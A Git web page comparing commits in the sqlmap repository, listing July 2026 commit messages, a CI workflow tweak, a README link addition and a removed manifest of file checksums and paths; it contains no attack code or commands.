Compare commits

...

34 commits

Author SHA1 Message Date
Miroslav Štampar
05f81ab191 Fixing the CI/CD failure
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-06 19:04:33 +02:00
Miroslav Štampar
788c9fa134 Minor patch 2026-07-06 18:54:26 +02:00
Miroslav Štampar
8f6a37275c Some refactoring 2026-07-06 13:34:46 +02:00
Miroslav Štampar
50ff3debe5 General boolean inference improvements
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-06 12:02:22 +02:00
Miroslav Štampar
6597415ab0 Minor update
Some checks failed
/ build (macos-latest, 3.8) (push) Has been cancelled
/ build (ubuntu-latest, pypy-2.7) (push) Has been cancelled
/ build (windows-latest, 3.14) (push) Has been cancelled
2026-07-04 21:45:42 +02:00
Miroslav Štampar
3bab3cd795 Minor update
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-04 13:35:00 +02:00
Miroslav Štampar
3b3a822e32 Minor update 2026-07-04 13:00:19 +02:00
Miroslav Štampar
7fd6bb3b7d Minor update 2026-07-04 12:38:59 +02:00
Miroslav Štampar
103a0e6b0f More refactoring for --xxe 2026-07-04 11:12:21 +02:00
Miroslav Štampar
3cf29a543a Refactoring for --xxe 2026-07-04 10:36:10 +02:00
Miroslav Štampar
5fa2da5eae Adding support for --xxe 2026-07-04 09:53:04 +02:00
Miroslav Štampar
16c8909a0c Minor patch 2026-07-03 16:57:46 +02:00
Miroslav Štampar
2b9fd6cf82 Minor update of the references
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-03 10:10:29 +02:00
Miroslav Štampar
d60e95ede7 Some more stabilization of unittests
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run
2026-07-02 22:52:02 +02:00
Miroslav Štampar
71d9c6d0f4 Stabilization of unittests 2026-07-02 22:31:01 +02:00
Miroslav Štampar
732d164538 Fixing CI/CD errors 2026-07-02 22:02:57 +02:00
Miroslav Štampar
2719ce6c59 Minor patch 2026-07-02 21:57:17 +02:00
Miroslav Štampar
fe69e6bfcc Adding support for --openapi 2026-07-02 21:12:46 +02:00
Miroslav Štampar
d6299fc4f5 Adding more supported hash algorithms 2026-07-02 16:29:40 +02:00
Miroslav Štampar
a7c9b721fd Adding support for HTTP2 connection reusage 2026-07-02 13:39:47 +02:00
Miroslav Štampar
47b8b6ed07 Minor update 2026-07-02 10:18:58 +02:00
Miroslav Štampar
d2ead9dcda Adding support for import sqlmap as a library (#2083) 2026-07-02 09:58:48 +02:00
Miroslav Štampar
e1126a2a4e Improving --predict-output 2026-07-02 01:12:06 +02:00
Miroslav Štampar
a3bff54cc5 Fixes #1545 2026-07-02 00:19:31 +02:00
Miroslav Štampar
c2209d9326 Patch related to #5357 2026-07-01 23:16:05 +02:00
Miroslav Štampar
1716ad1524 Minor improvement of UNION detection 2026-07-01 22:31:37 +02:00
Miroslav Štampar
bd10f84a9b Minor patch 2026-07-01 18:34:03 +02:00
Miroslav Štampar
6514597dbb Minor renaming of options 2026-07-01 17:34:31 +02:00
Miroslav Štampar
40a31c155c Removing thirdparty OrderedDict 2026-07-01 15:26:59 +02:00
Miroslav Štampar
62a7bf3b03 Adding tests for http2 functionality 2026-07-01 15:19:30 +02:00
Miroslav Štampar
3e7d064cc9 Adding some more tests
Some checks failed
/ build (macos-latest, 3.8) (push) Has been cancelled
/ build (ubuntu-latest, pypy-2.7) (push) Has been cancelled
/ build (windows-latest, 3.14) (push) Has been cancelled
2026-07-01 14:59:34 +02:00
Miroslav Štampar
39ba1bc00e Adding custom/own support for HTTP2 2026-07-01 12:21:11 +02:00
Miroslav Štampar
8a75c0bb62 Minor patch 2026-07-01 11:06:39 +02:00
Miroslav Štampar
6e459d66f2 Couple of optimizations 2026-07-01 10:34:53 +02:00
126 changed files with 19807 additions and 2848 deletions

View file

@ -17,6 +17,10 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 30
env:
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
PYTHONHASHSEED: "0"
strategy:
matrix:
include:

View file

@ -47,6 +47,7 @@ Links
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Playground: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
Translations

File diff suppressed because it is too large Load diff

File diff suppressed because it is too large Load diff

View file

@ -1,738 +0,0 @@
e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql
9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql
02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql
02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql
606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql
4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql
7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt
3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_
35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_
081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_
f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_
78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_
a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt
a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_
8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_
c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_
8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_
af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_
eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt
63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt
852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae data/txt/common-outputs.txt
44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt
ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt
522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt
6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt
9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_
0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_
6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_
4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt
f52cd86ed1a1a710e10f2e85faa7c8c85892398c60ad6324f320f826a6ba46e3 data/xml/banner/generic.xml
99f8f7311642bab38e1ffd59ca8f9a6110c4e3449d6c65b4812f2822088fd217 data/xml/banner/mssql.xml
332d38de02c04f5d99fe3fd894c93aafd70032ee6de217c76dfaab2133d9eca9 data/xml/banner/mysql.xml
6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml
9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml
86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml
146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml
8af6b979b6e0a01062dc740ae475ba6be90dc10bb3716a45d28ada56e81f9648 data/xml/banner/set-cookie.xml
a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml
e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml
3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml
a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5 data/xml/boundaries.xml
23c3ac7f73c4db5beaf9df06c39a63571b29b3f3bee161e182a62c7fcc563054 data/xml/errors.xml
43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673 data/xml/payloads/boolean_blind.xml
c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/payloads/error_based.xml
516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d data/xml/payloads/inline_query.xml
0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml
379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml
40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml
45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82 data/xml/queries.xml
127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md
0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS
ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md
233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md
b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86 doc/THIRD-PARTY.md
2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md
c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md
e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md
00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md
f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md
163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md
70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md
a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md
f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md
bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md
27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md
830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md
40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md
379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md
754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md
2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md
c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md
95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md
b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md
3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md
7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md
bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md
ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md
5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md
c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md
c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md
8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py
509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py
7f6394c9b3566bf93fc10020bc584aa8fac36dc11c3c523096eadc63ab243ec9 extra/cloak/cloak.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py
6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt
4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py
a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt
6cdf3fff3bdf14f7becf5737f30085fd46510a2baa77c72b026723525b46e41b extra/icmpsh/icmpsh.exe_
4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c
8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl
12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py
6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c
ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py
27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py
191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt
3c567dd087963349a04a3f94312d71066bfbe4fd57139878b555aea4a637676d extra/runcmd/runcmd.exe_
70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt
baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp
a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj
16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln
d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp
e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h
38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_
b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_
cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt
b1381d5c473a428b3ca30e7f438e86ddcb90b51504065d332df0efd3e321d3dd extra/shellcodeexec/windows/shellcodeexec.x32.exe_
384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh
a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0 extra/shutils/blanks.sh
cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55 extra/shutils/drei.sh
dd5141a5e14a5979b3d4a733016fafe241c875e1adef7bd2179c83ca78f24d26 extra/shutils/duplicates.py
0d5f32aa26b828046b851d3abeb8a5940def01c6b15db051451241435b043e10 extra/shutils/junk.sh
74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py
fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh
ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/precommit-hook.sh
3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214 extra/shutils/pycodestyle.sh
0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a extra/shutils/pydiatra.sh
763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0 extra/shutils/pyflakes.sh
07c500a13c9fca3ee2915bf00db9f064fa7d4aa1631989ef86f87828bdf60c11 extra/shutils/pypi.sh
df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh
1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py
666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py
d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py
c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py
d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py
8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py
5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py
f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py
147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py
8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py
10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544 lib/core/dump.py
6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py
5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2 lib/core/optiondict.py
98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301 lib/core/option.py
21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py
49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py
2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001 lib/parse/cmdline.py
02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py
